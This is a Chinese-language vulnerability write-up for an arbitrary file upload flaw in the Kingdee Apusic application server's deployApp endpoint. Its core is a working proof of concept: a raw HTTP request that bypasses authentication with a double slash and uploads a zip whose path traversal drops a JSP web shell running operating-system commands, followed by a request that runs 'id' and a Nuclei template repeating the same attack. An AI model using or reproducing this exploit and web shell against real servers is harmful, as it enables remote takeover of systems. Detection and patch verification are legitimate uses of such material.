金蝶Apusic应用服务器deployApp接口任意文件上传漏洞复现 [附POC]

金蝶Apusic应用服务器deployApp接口任意文件上传漏洞复现 [附POC]

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

金蝶Apusic应用服务器 deployApp 接口存在任意文件上传漏洞，击者可通过双斜杠绕过鉴权并上传恶意压缩包到服务器，导致远程代码执行，危及服务器安全，接管服务器权限。

0x03 影响版本

Apusic应用服务器

0x04 漏洞环境

FOFA语法：

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC （POST）

POST /admin//protect/application/deployApp HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbd
Accept-Encoding: gzip
 
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="appName"
 
111
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="deployInServer"
 
false
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="clientFile"; filename="evil.zip"
Content-Type: application/x-zip-compressed
 
{{unquote("PK\x03\x04\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00../../../../applications/default/public_html/shell2.jsp<%\x0d\x0a    if \x28\"admin\".equals\x28request.getParameter\x28\"pwd\"\x29\x29\x29 \x7b\x0d\x0a        java.io.InputStream input = Runtime.getRuntime\x28\x29.exec\x28request.getParameter\x28\"cmd\"\x29\x29.getInputStream\x28\x29;\x0d\x0a        int len = -1;\x0d\x0a        byte[] bytes = new byte[4092];\x0d\x0a        while \x28\x28len = input.read\x28bytes\x29\x29 != -1\x29 \x7b\x0d\x0a            out.println\x28new String\x28bytes, \"GBK\"\x29\x29;\x0d\x0a        \x7d\x0d\x0a    \x7d\x0d\x0a%>PK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00../../../../applications/default/public_html/shell2.jspPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00e\x00\x00\x00\xb9\x01\x00\x00\x00\x00")}}
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="archivePath"
 
 
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="baseContext"
 
 
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="startType"
 
auto
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="loadon"
 
 
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="virtualHost"
 
 
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="allowHosts"
 
 
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="denyHosts"
 
 
------WebKitFormBoundaryd9acIBdVuqKWDJbd--

3.复现

1.发送命令执行的恶意数据包
2.访问恶意jsp文件执行id命令

GET /shell2.jsp?pwd=admin&cmd=id HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip
Content-Length: 0

Nuclei POC

id: kingdee-Apusic-deployApp-upload
info:
  name: 金蝶 Apusic 应用服务器任意文件上传漏洞
  author: rain
  severity: high
  description: 金蝶 Apusic 应用服务器存在一个任意文件上传漏洞，攻击者可以通过构造恶意请求上传恶意文件到服务器，导致远程代码执行，危及服务器安全。
  tags:
    - file-upload
    - kingdee
  metadata:
    fofa-query: app="Apusic应用服务器"
http:
  - raw:
      - |
        POST /admin//protect/application/deployApp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbd
        Accept-Encoding: gzip
        
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="appName"
        
        111
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="deployInServer"
        
        false
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="clientFile"; filename="evil.zip"
        Content-Type: application/x-zip-compressed
        
        "PK\x03\x04\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00../../../../applications/default/public_html/shell2.jsp<%\x0d\x0a    if \x28\"admin\".equals\x28request.getParameter\x28\"pwd\"\x29\x29\x29 \x7b\x0d\x0a        java.io.InputStream input = Runtime.getRuntime\x28\x29.exec\x28request.getParameter\x28\"cmd\"\x29\x29.getInputStream\x28\x29;\x0d\x0a        int len = -1;\x0d\x0a        byte[] bytes = new byte[4092];\x0d\x0a        while \x28\x28len = input.read\x28bytes\x29\x29 != -1\x29 \x7b\x0d\x0a            out.println\x28new String\x28bytes, \"GBK\"\x29\x29;\x0d\x0a        \x7d\x0d\x0a    \x7d\x0d\x0a%>PK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00../../../../applications/default/public_html/shell2.jspPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00e\x00\x00\x00\xb9\x01\x00\x00\x00\x00"
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="archivePath"
        
        
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="baseContext"
        
        
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="startType"
        
        auto
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="loadon"
        
        
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="virtualHost"
        
        
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="allowHosts"
        
        
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd
        Content-Disposition: form-data; name="denyHosts"
        
        
        ------WebKitFormBoundaryd9acIBdVuqKWDJbd--
      - |
        GET /shell2.jsp?pwd=admin&cmd=id HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2==200 && contains(body_2, "eth0")'

0x06 修复建议

目前厂商已发布安全补丁，请及时更新：

http://www.kingdee.com/